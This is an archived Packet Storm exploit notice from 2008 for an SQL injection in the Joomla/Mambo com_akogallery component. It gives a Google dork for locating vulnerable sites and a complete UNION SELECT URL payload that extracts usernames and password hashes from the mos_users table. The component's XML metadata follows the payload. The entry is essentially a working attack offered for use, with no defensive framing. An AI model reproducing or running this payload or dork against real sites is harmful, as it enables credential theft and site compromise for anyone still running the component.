joomlaako-sql.txt

2008-02-01T00:00:00
ID PACKETSTORM:63170
Type packetstorm
Reporter S@BUN
Modified 2008-02-01T00:00:00

Description

                                        
                                            `#########################################################################  
#  
#  
# joomla SQL Injection(com_akogallery)  
#  
#########################################################################  
#  
# AUTHOR : S@BUN  
#  
# HOME : http://www.hackturkiye.com/  
  
#########################################################################  
#  
# DorKs 1 : allinurl: "com_akogallery"  
#  
########################################################################  
EXPLOIT :  
  
index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*  
  
#########################################################################  
# S@BUN www.hackturkiye.com S@BUN  
#########################################################################  
# S@BUN GOOD LUCKY S@BUN  
#########################################################################  
  
<name>akogallery</name>  
<creationDate>21.06.2004</creationDate>  
<author>Arthur Konze</author>  
<copyright>Copyright 2003, 2004 by Arthur Konze. Distribution prohibited!</copyright>  
<authorEmail>webmaster@mamboportal.com</authorEmail>  
  
<authorUrl>www.mamboportal.com</authorUrl>  
<version>2.5 beta</version>  
<description>AkoGallery is a fully integrated Mambo picture gallery component.</description>  
  
`